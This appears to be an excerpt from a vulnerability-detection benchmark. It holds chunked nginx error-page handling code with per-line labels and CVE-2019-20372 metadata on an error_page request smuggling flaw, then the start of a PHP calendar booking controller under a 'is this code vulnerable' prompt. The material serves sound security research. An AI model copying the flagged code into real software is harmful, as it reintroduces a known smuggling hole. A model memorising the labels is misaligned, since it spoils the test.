Large</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>Request Header Or Cookie Too Large</center>\" CRLF\n;", "\nstatic char ngx_http_error_495_page[] =\n\"<html>\" CRLF\n\"<head><title>400 The SSL certificate error</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>The SSL certificate error</center>\" CRLF\n;", "\nstatic char ngx_http_error_496_page[] =\n\"<html>\" CRLF\n\"<head><title>400 No required SSL certificate was sent</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>No required SSL certificate was sent</center>\" CRLF\n;", "\nstatic char ngx_http_error_497_page[] =\n\"<html>\" CRLF\n\"<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>The plain HTTP request was sent to HTTPS port</center>\" CRLF\n;", "\nstatic char ngx_http_error_500_page[] =\n\"<html>\" CRLF\n\"<head><title>500 Internal Server Error</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>500 Internal Server Error</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_501_page[] =\n\"<html>\" CRLF\n\"<head><title>501 Not Implemented</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>501 Not Implemented</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_502_page[] =\n\"<html>\" CRLF\n\"<head><title>502 Bad Gateway</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>502 Bad Gateway</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_503_page[] =\n\"<html>\" CRLF\n\"<head><title>503 Service Temporarily Unavailable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>503 Service Temporarily Unavailable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_504_page[] =\n\"<html>\" CRLF\n\"<head><title>504 Gateway Time-out</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>504 Gateway Time-out</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_505_page[] =\n\"<html>\" CRLF\n\"<head><title>505 HTTP Version Not Supported</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>505 HTTP Version Not Supported</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_507_page[] =\n\"<html>\" CRLF\n\"<head><title>507 Insufficient Storage</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>507 Insufficient Storage</h1></center>\" CRLF\n;", "\nstatic ngx_str_t ngx_http_error_pages[] = {", " ngx_null_string, /* 201, 204 */", "#define NGX_HTTP_LAST_2XX 202\n#define NGX_HTTP_OFF_3XX (NGX_HTTP_LAST_2XX - 201)", " /* ngx_null_string, */ /* 300 */\n ngx_string(ngx_http_error_301_page),\n ngx_string(ngx_http_error_302_page),\n ngx_string(ngx_http_error_303_page),\n ngx_null_string, /* 304 */\n ngx_null_string, /* 305 */\n ngx_null_string, /* 306 */\n ngx_string(ngx_http_error_307_page),\n ngx_string(ngx_http_error_308_page),", "#define NGX_HTTP_LAST_3XX 309\n#define NGX_HTTP_OFF_4XX (NGX_HTTP_LAST_3XX - 301 + NGX_HTTP_OFF_3XX)", " ngx_string(ngx_http_error_400_page),\n ngx_string(ngx_http_error_401_page),\n ngx_string(ngx_http_error_402_page),\n ngx_string(ngx_http_error_403_page),\n ngx_string(ngx_http_error_404_page),\n ngx_string(ngx_http_error_405_page),\n ngx_string(ngx_http_error_406_page),\n ngx_null_string, /* 407 */\n ngx_string(ngx_http_error_408_page),\n ngx_string(ngx_http_error_409_page),\n ngx_string(ngx_http_error_410_page),\n ngx_string(ngx_http_error_411_page),\n ngx_string(ngx_http_error_412_page),\n ngx_string(ngx_http_error_413_page),\n ngx_string(ngx_http_error_414_page),\n ngx_string(ngx_http_error_415_page),\n ngx_string(ngx_http_error_416_page),\n ngx_null_string, /* 417 */\n ngx_null_string, /* 418 */\n ngx_null_string, /* 419 */\n ngx_null_string, /* 420 */\n ngx_string(ngx_http_error_421_page),\n ngx_null_string, /* 422 */\n ngx_null_string, /* 423 */\n ngx_null_string, /* 424 */\n ngx_null_string, /* 425 */\n ngx_null_string, /* 426 */\n ngx_null_string, /* 427 */\n ngx_null_string, /* 428 */\n ngx_string(ngx_http_error_429_page),", "#define NGX_HTTP_LAST_4XX 430\n#define NGX_HTTP_OFF_5XX (NGX_HTTP_LAST_4XX - 400 + NGX_HTTP_OFF_4XX)", " ngx_string(ngx_http_error_494_page), /* 494, request header too large */\n ngx_string(ngx_http_error_495_page), /* 495, https certificate error */\n ngx_string(ngx_http_error_496_page), /* 496, https no certificate */\n ngx_string(ngx_http_error_497_page), /* 497, http to https */\n ngx_string(ngx_http_error_404_page), /* 498, canceled */\n ngx_null_string, /* 499, client has closed connection */", " ngx_string(ngx_http_error_500_page),\n ngx_string(ngx_http_error_501_page),\n ngx_string(ngx_http_error_502_page),\n ngx_string(ngx_http_error_503_page),\n ngx_string(ngx_http_error_504_page),\n ngx_string(ngx_http_error_505_page),\n ngx_null_string, /* 506 */\n ngx_string(ngx_http_error_507_page)", "#define NGX_HTTP_LAST_5XX 508", "};", "\nngx_int_t\nngx_http_special_response_handler(ngx_http_request_t *r, ngx_int_t error)\n{\n ngx_uint_t i, err;\n ngx_http_err_page_t *err_page;\n ngx_http_core_loc_conf_t *clcf;", " ngx_log_debug3(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http special response: %i, \\\"%V?%V\\\"\",\n error, &r->uri, &r->args);", " r->err_status = error;", " if (r->keepalive) {\n switch (error) {\n case NGX_HTTP_BAD_REQUEST:\n case NGX_HTTP_REQUEST_ENTITY_TOO_LARGE:\n case NGX_HTTP_REQUEST_URI_TOO_LARGE:\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n case NGX_HTTP_INTERNAL_SERVER_ERROR:\n case NGX_HTTP_NOT_IMPLEMENTED:\n r->keepalive = 0;\n }\n }", " if (r->lingering_close) {\n switch (error) {\n case NGX_HTTP_BAD_REQUEST:\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n r->lingering_close = 0;\n }\n }", " r->headers_out.content_type.len = 0;", " clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);", " if (!r->error_page && clcf->error_pages && r->uri_changes != 0) {", " if (clcf->recursive_error_pages == 0) {\n r->error_page = 1;\n }", " err_page = clcf->error_pages->elts;", " for (i = 0; i < clcf->error_pages->nelts; i++) {\n if (err_page[i].status == error) {\n return ngx_http_send_error_page(r, &err_page[i]);\n }\n }\n }", " r->expect_tested = 1;", " if (ngx_http_discard_request_body(r) != NGX_OK) {\n r->keepalive = 0;\n }", " if (clcf->msie_refresh\n && r->headers_in.msie\n && (error == NGX_HTTP_MOVED_PERMANENTLY\n || error == NGX_HTTP_MOVED_TEMPORARILY))\n {\n return ngx_http_send_refresh(r);\n }", " if (error == NGX_HTTP_CREATED) {\n /* 201 */\n err = 0;", " } else if (error == NGX_HTTP_NO_CONTENT) {\n /* 204 */\n err = 0;", " } else if (error >= NGX_HTTP_MOVED_PERMANENTLY\n && error < NGX_HTTP_LAST_3XX)\n {\n /* 3XX */\n err = error - NGX_HTTP_MOVED_PERMANENTLY + NGX_HTTP_OFF_3XX;", " } else if (error >= NGX_HTTP_BAD_REQUEST\n && error < NGX_HTTP_LAST_4XX)\n {\n /* 4XX */\n err = error - NGX_HTTP_BAD_REQUEST + NGX_HTTP_OFF_4XX;", " } else if (error >= NGX_HTTP_NGINX_CODES\n && error < NGX_HTTP_LAST_5XX)\n {\n /* 49X, 5XX */\n err = error - NGX_HTTP_NGINX_CODES + NGX_HTTP_OFF_5XX;\n switch (error) {\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n case NGX_HTTP_REQUEST_HEADER_TOO_LARGE:\n r->err_status = NGX_HTTP_BAD_REQUEST;\n }", " } else {\n /* unknown code, zero body */\n err = 0;\n }", " return ngx_http_send_special_response(r, clcf, err);\n}", "\nngx_int_t\nngx_http_filter_finalize_request(ngx_http_request_t *r, ngx_module_t *m,\n ngx_int_t error)\n{\n void *ctx;\n ngx_int_t rc;", " ngx_http_clean_header(r);", " ctx = NULL;", " if (m) {\n ctx = r->ctx[m->ctx_index];\n }", " /* clear the modules contexts */\n ngx_memzero(r->ctx, sizeof(void *) * ngx_http_max_module);", " if (m) {\n r->ctx[m->ctx_index] = ctx;\n }", " r->filter_finalize = 1;", " rc = ngx_http_special_response_handler(r, error);", " /* NGX_ERROR resets any pending data */", " switch (rc) {", " case NGX_OK:\n case NGX_DONE:\n return NGX_ERROR;", " default:\n return rc;\n }\n}", "\nvoid\nngx_http_clean_header(ngx_http_request_t *r)\n{\n ngx_memzero(&r->headers_out.status,\n sizeof(ngx_http_headers_out_t)\n - offsetof(ngx_http_headers_out_t, status));", " r->headers_out.headers.part.nelts = 0;\n r->headers_out.headers.part.next = NULL;\n r->headers_out.headers.last = &r->headers_out.headers.part;", " r->headers_out.content_length_n = -1;\n r->headers_out.last_modified_time = -1;\n}", "\nstatic ngx_int_t\nngx_http_send_error_page(ngx_http_request_t *r, ngx_http_err_page_t *err_page)\n{\n ngx_int_t overwrite;\n ngx_str_t uri, args;\n ngx_table_elt_t *location;\n ngx_http_core_loc_conf_t *clcf;", " overwrite = err_page->overwrite;", " if (overwrite && overwrite != NGX_HTTP_OK) {\n r->expect_tested = 1;\n }", " if (overwrite >= 0) {\n r->err_status = overwrite;\n }", " if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {\n return NGX_ERROR;\n }", " if (uri.len && uri.data[0] == '/') {", " if (err_page->value.lengths) {\n ngx_http_split_args(r, &uri, &args);", " } else {\n args = err_page->args;\n }", " if (r->method != NGX_HTTP_HEAD) {\n r->method = NGX_HTTP_GET;\n r->method_name = ngx_http_core_get_method;\n }", " return ngx_http_internal_redirect(r, &uri, &args);\n }", " if (uri.len && uri.data[0] == '@') {\n return ngx_http_named_location(r, &uri);\n }\n", " r->expect_tested = 1;", " if (ngx_http_discard_request_body(r) != NGX_OK) {\n r->keepalive = 0;\n }\n", " location = ngx_list_push(&r->headers_out.headers);", " if (location == NULL) {\n return NGX_ERROR;\n }", " if (overwrite != NGX_HTTP_MOVED_PERMANENTLY\n && overwrite != NGX_HTTP_MOVED_TEMPORARILY\n && overwrite != NGX_HTTP_SEE_OTHER\n && overwrite != NGX_HTTP_TEMPORARY_REDIRECT\n && overwrite != NGX_HTTP_PERMANENT_REDIRECT)\n {\n r->err_status = NGX_HTTP_MOVED_TEMPORARILY;\n }", " location->hash = 1;\n ngx_str_set(&location->key, \"Location\");\n location->value = uri;", " ngx_http_clear_location(r);", " r->headers_out.location = location;", " clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);", " if (clcf->msie_refresh && r->headers_in.msie) {\n return ngx_http_send_refresh(r);\n }", " return ngx_http_send_special_response(r, clcf, r->err_status\n - NGX_HTTP_MOVED_PERMANENTLY\n + NGX_HTTP_OFF_3XX);\n}", "\nstatic ngx_int_t\nngx_http_send_special_response(ngx_http_request_t *r,\n ngx_http_core_loc_conf_t *clcf, ngx_uint_t err)\n{\n u_char *tail;\n size_t len;\n ngx_int_t rc;\n ngx_buf_t *b;\n ngx_uint_t msie_padding;\n ngx_chain_t out[3];", " if (clcf->server_tokens == NGX_HTTP_SERVER_TOKENS_ON) {\n len = sizeof(ngx_http_error_full_tail) - 1;\n tail = ngx_http_error_full_tail;", " } else if (clcf->server_tokens == NGX_HTTP_SERVER_TOKENS_BUILD) {\n len = sizeof(ngx_http_error_build_tail) - 1;\n tail = ngx_http_error_build_tail;", " } else {\n len = sizeof(ngx_http_error_tail) - 1;\n tail = ngx_http_error_tail;\n }", " msie_padding = 0;", " if (ngx_http_error_pages[err].len) {\n r->headers_out.content_length_n = ngx_http_error_pages[err].len + len;\n if (clcf->msie_padding\n && (r->headers_in.msie || r->headers_in.chrome)\n && r->http_version >= NGX_HTTP_VERSION_10\n && err >= NGX_HTTP_OFF_4XX)\n {\n r->headers_out.content_length_n +=\n sizeof(ngx_http_msie_padding) - 1;\n msie_padding = 1;\n }", " r->headers_out.content_type_len = sizeof(\"text/html\") - 1;\n ngx_str_set(&r->headers_out.content_type, \"text/html\");\n r->headers_out.content_type_lowcase = NULL;", " } else {\n r->headers_out.content_length_n = 0;\n }", " if (r->headers_out.content_length) {\n r->headers_out.content_length->hash = 0;\n r->headers_out.content_length = NULL;\n }", " ngx_http_clear_accept_ranges(r);\n ngx_http_clear_last_modified(r);\n ngx_http_clear_etag(r);", " rc = ngx_http_send_header(r);", " if (rc == NGX_ERROR || r->header_only) {\n return rc;\n }", " if (ngx_http_error_pages[err].len == 0) {\n return ngx_http_send_special(r, NGX_HTTP_LAST);\n }", " b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;\n b->pos = ngx_http_error_pages[err].data;\n b->last = ngx_http_error_pages[err].data + ngx_http_error_pages[err].len;", " out[0].buf = b;\n out[0].next = &out[1];", " b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;", " b->pos = tail;\n b->last = tail + len;", " out[1].buf = b;\n out[1].next = NULL;", " if (msie_padding) {\n b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;\n b->pos = ngx_http_msie_padding;\n b->last = ngx_http_msie_padding + sizeof(ngx_http_msie_padding) - 1;", " out[1].next = &out[2];\n out[2].buf = b;\n out[2].next = NULL;\n }", " if (r == r->main) {\n b->last_buf = 1;\n }", " b->last_in_chain = 1;", " return ngx_http_output_filter(r, &out[0]);\n}", "\nstatic ngx_int_t\nngx_http_send_refresh(ngx_http_request_t *r)\n{\n u_char *p, *location;\n size_t len, size;\n uintptr_t escape;\n ngx_int_t rc;\n ngx_buf_t *b;\n ngx_chain_t out;", " len = r->headers_out.location->value.len;\n location = r->headers_out.location->value.data;", " escape = 2 * ngx_escape_uri(NULL, location, len, NGX_ESCAPE_REFRESH);", " size = sizeof(ngx_http_msie_refresh_head) - 1\n + escape + len\n + sizeof(ngx_http_msie_refresh_tail) - 1;", " r->err_status = NGX_HTTP_OK;", " r->headers_out.content_type_len = sizeof(\"text/html\") - 1;\n ngx_str_set(&r->headers_out.content_type, \"text/html\");\n r->headers_out.content_type_lowcase = NULL;", " r->headers_out.location->hash = 0;\n r->headers_out.location = NULL;", " r->headers_out.content_length_n = size;", " if (r->headers_out.content_length) {\n r->headers_out.content_length->hash = 0;\n r->headers_out.content_length = NULL;\n }", " ngx_http_clear_accept_ranges(r);\n ngx_http_clear_last_modified(r);\n ngx_http_clear_etag(r);", " rc = ngx_http_send_header(r);", " if (rc == NGX_ERROR || r->header_only) {\n return rc;\n }", " b = ngx_create_temp_buf(r->pool, size);\n if (b == NULL) {\n return NGX_ERROR;\n }", " p = ngx_cpymem(b->pos, ngx_http_msie_refresh_head,\n sizeof(ngx_http_msie_refresh_head) - 1);", " if (escape == 0) {\n p = ngx_cpymem(p, location, len);", " } else {\n p = (u_char *) ngx_escape_uri(p, location, len, NGX_ESCAPE_REFRESH);\n }", " b->last = ngx_cpymem(p, ngx_http_msie_refresh_tail,\n sizeof(ngx_http_msie_refresh_tail) - 1);", " b->last_buf = (r == r->main) ? 1 : 0;\n b->last_in_chain = 1;", " out.buf = b;\n out.next = NULL;", " return ngx_http_output_filter(r, &out);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [625], "buggy_code_start_loc": [625], "filenames": ["src/http/ngx_http_special_response.c"], "fixing_code_end_loc": [632], "fixing_code_start_loc": [626], "message": "NGINX before 1.17.7, with certain error_page configurations, allows HTTP request smuggling, as demonstrated by the ability of an attacker to read unauthorized web pages in environments where NGINX is being fronted by a load balancer.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*", "matchCriteriaId": "4B1CA2FC-6A59-4EC9-8F86-BFA903DE28AE", "versionEndExcluding": "1.17.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:apple:xcode:*:*:*:*:*:*:*:*", "matchCriteriaId": "BB279F6B-EE4C-4885-9CD4-657F6BD2548F", "versionEndExcluding": "13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*", "matchCriteriaId": "815D70A8-47D3-459C-A32C-9FEACA0659D1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*", "matchCriteriaId": "B620311B-34A3-48A6-82DF-6F078D7A4493", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:cloud_backup:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C2089EE-5D7F-47EC-8EA5-0F69790564C4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NGINX before 1.17.7, with certain error_page configurations, allows HTTP request smuggling, as demonstrated by the ability of an attacker to read unauthorized web pages in environments where NGINX is being fronted by a load balancer."}, {"lang": "es", "value": "NGINX versiones anteriores a 1.17.7, con ciertas configuraciones de error_page, permite el trafico no autorizado de peticiones HTTP, como es demostrado por la capacidad de un atacante para leer p\u00e1ginas web no autorizadas en entornos donde NGINX est\u00e1 al frente de un equilibrador de carga."}], "evaluatorComment": null, "id": "CVE-2019-20372", "lastModified": "2022-04-06T16:10:54.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-01-09T21:15:12.027", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List", "Third Party Advisory"], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00013.html"}, {"source": "cve@mitre.org", "tags": ["Mitigation", "Release Notes", "Vendor Advisory"], "url": "http://nginx.org/en/CHANGES"}, {"source": "cve@mitre.org", "tags": ["Mailing List", "Third Party Advisory"], "url": "http://seclists.org/fulldisclosure/2021/Sep/36"}, {"source": "cve@mitre.org", "tags": ["Exploit", "Mitigation", "Third Party Advisory"], "url": "https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf"}, {"source": "cve@mitre.org", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://duo.com/docs/dng-notes#version-1.5.4-january-2020"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kubernetes/ingress-nginx/pull/4859"}, {"source": "cve@mitre.org", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/nginx/nginx/commit/c1be55f97211d38b69ac0c2027e6812ab8b1b94e"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20200127-0003/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://support.apple.com/kb/HT212818"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/4235-1/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/4235-2/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-444"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nginx/nginx/commit/c1be55f97211d38b69ac0c2027e6812ab8b1b94e"}, "type": "CWE-444"}
143
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "declare(strict_types=1);", "/**\n * Calendar App\n *\n * @copyright 2021 Anna Larch <anna.larch@gmx.net>\n *\n * @author Anna Larch <anna.larch@gmx.net>\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n * License as published by the Free Software Foundation; either\n * version 3 of the License, or any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n *\n * You should have received a copy of the GNU Affero General Public\n * License along with this library. If not, see <http://www.gnu.org/licenses/>.\n *\n */\nnamespace OCA\\Calendar\\Controller;", "use DateTimeImmutable;\nuse DateTimeZone;\nuse InvalidArgumentException;\nuse OC\\URLGenerator;\nuse OCA\\Calendar\\AppInfo\\Application;\nuse OCA\\Calendar\\Exception\\ClientException;\nuse OCA\\Calendar\\Exception\\NoSlotFoundException;\nuse OCA\\Calendar\\Exception\\ServiceException;\nuse OCA\\Calendar\\Http\\JsonResponse;\nuse OCA\\Calendar\\Service\\Appointments\\AppointmentConfigService;\nuse OCA\\Calendar\\Service\\Appointments\\BookingService;\nuse OCP\\AppFramework\\Controller;\nuse OCP\\AppFramework\\Http;\nuse OCP\\AppFramework\\Http\\TemplateResponse;\nuse OCP\\AppFramework\\Services\\IInitialState;\nuse OCP\\AppFramework\\Utility\\ITimeFactory;\nuse OCP\\DB\\Exception;\nuse OCP\\IRequest;", "", "use Psr\\Log\\LoggerInterface;", "class BookingController extends Controller {", "\t/** @var BookingService */\n\tprivate $bookingService;", "\t/** @var ITimeFactory */\n\tprivate $timeFactory;", "\t/** @var AppointmentConfigService */\n\tprivate $appointmentConfigService;", "\t/** @var IInitialState */\n\tprivate $initialState;", "\t/** @var URLGenerator */\n\tprivate $urlGenerator;", "\t/** @var LoggerInterface */\n\tprivate $logger;\n", "\tpublic function __construct(string $appName,\n\t\t\t\t\t\t\t\tIRequest $request,\n\t\t\t\t\t\t\t\tITimeFactory $timeFactory,\n\t\t\t\t\t\t\t\tIInitialState $initialState,\n\t\t\t\t\t\t\t\tBookingService $bookingService,", "\t\t\t\t\t\t\t\tAppointmentConfigService $appointmentConfigService,", "\t\t\t\t\t\t\t\tURLGenerator $urlGenerator,\n\t\t\t\t\t\t\t\tLoggerInterface $logger) {", "\t\tparent::__construct($appName, $request);", "\t\t$this->bookingService = $bookingService;\n\t\t$this->timeFactory = $timeFactory;\n\t\t$this->appointmentConfigService = $appointmentConfigService;\n\t\t$this->initialState = $initialState;\n\t\t$this->urlGenerator = $urlGenerator;\n\t\t$this->logger = $logger;", "", "\t}", "\t/**\n\t * @NoAdminRequired\n\t * @PublicPage\n\t *\n\t * @param int $appointmentConfigId\n\t * @param int $startTime UNIX time stamp for the start time in UTC\n\t * @param string $timeZone\n\t *\n\t * @return JsonResponse\n\t */\n\tpublic function getBookableSlots(int $appointmentConfigId,\n\t\t\t\t\t\t\t\t\t int $startTime,\n\t\t\t\t\t\t\t\t\t string $timeZone): JsonResponse {\n\t\t// Convert the timestamps to the beginning and end of the respective day in the specified timezone\n\t\ttry {\n\t\t\t$tz = new DateTimeZone($timeZone);\n\t\t} catch (Exception $e) {\n\t\t\t$this->logger->error('Timezone invalid', ['exception' => $e]);\n\t\t\treturn JsonResponse::fail('Invalid time zone', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t$startTimeInTz = (new DateTimeImmutable())\n\t\t\t->setTimestamp($startTime)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(0, 0)\n\t\t\t->getTimestamp();\n\t\t$endTimeInTz = (new DateTimeImmutable())\n\t\t\t->setTimestamp($startTime)\n\t\t\t->setTimezone($tz)\n\t\t\t->setTime(23, 59, 59)\n\t\t\t->getTimestamp();", "\t\tif ($startTimeInTz > $endTimeInTz) {\n\t\t\t$this->logger->warning('Invalid time range - end time ' . $endTimeInTz . ' before start time ' . $startTimeInTz);\n\t\t\treturn JsonResponse::fail('Invalid time range', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t// rate limit this to only allow ranges between 0 and 7 days\n\t\tif (ceil(($endTimeInTz - $startTimeInTz) / 86400) > 7) {\n\t\t\t$this->logger->warning('Date range too large for start ' . $startTimeInTz . ' end ' . $endTimeInTz);\n\t\t\treturn JsonResponse::fail('Date Range too large.', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}\n\t\t$now = $this->timeFactory->getTime();\n\t\tif ($now > $endTimeInTz) {\n\t\t\t$this->logger->warning('Slot time must be in the future - now ' . $now . ' end ' . $endTimeInTz);\n\t\t\treturn JsonResponse::fail('Slot time range must be in the future', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($appointmentConfigId);\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error('No appointment config found for id ' . $appointmentConfigId, ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t}", "\t\treturn JsonResponse::success(\n\t\t\t$this->bookingService->getAvailableSlots($config, $startTimeInTz, $endTimeInTz)\n\t\t);\n\t}", "\t/**\n\t * @NoAdminRequired\n\t * @PublicPage\n\t *\n\t * @param int $appointmentConfigId\n\t * @param int $start\n\t * @param int $end\n\t * @param string $displayName\n\t * @param string $email\n\t * @param string $description\n\t * @param string $timeZone\n\t * @return JsonResponse\n\t */", "\tpublic function bookSlot(int $appointmentConfigId,\n\t\t\t\t\t\t\t int $start,\n\t\t\t\t\t\t\t int $end,", "\t\t\t\t\t\t\t string $displayName,\n\t\t\t\t\t\t\t string $email,\n\t\t\t\t\t\t\t string $description,\n\t\t\t\t\t\t\t string $timeZone): JsonResponse {", "", "\t\tif ($start > $end) {\n\t\t\treturn JsonResponse::fail('Invalid time range', Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t}", "\t\ttry {\n\t\t\t$config = $this->appointmentConfigService->findById($appointmentConfigId);\n\t\t} catch (ServiceException $e) {\n\t\t\t$this->logger->error('No appointment config found for id ' . $appointmentConfigId, ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t}\n\t\ttry {\n\t\t\t$booking = $this->bookingService->book($config, $start, $end, $timeZone, $displayName, $email, $description);\n\t\t} catch (NoSlotFoundException $e) {\n\t\t\t$this->logger->warning('No slot available for start: ' . $start . ', end: ' . $end . ', config id: ' . $appointmentConfigId , ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_NOT_FOUND);\n\t\t} catch (InvalidArgumentException $e) {\n\t\t\t$this->logger->warning($e->getMessage(), ['exception' => $e]);\n\t\t\treturn JsonResponse::fail(null, Http::STATUS_UNPROCESSABLE_ENTITY);\n\t\t} catch (ServiceException|ClientException $e) {\n\t\t\t$this->logger->error($e->getMessage(), ['exception' => $e]);\n\t\t\treturn JsonResponse::errorFromThrowable($e, 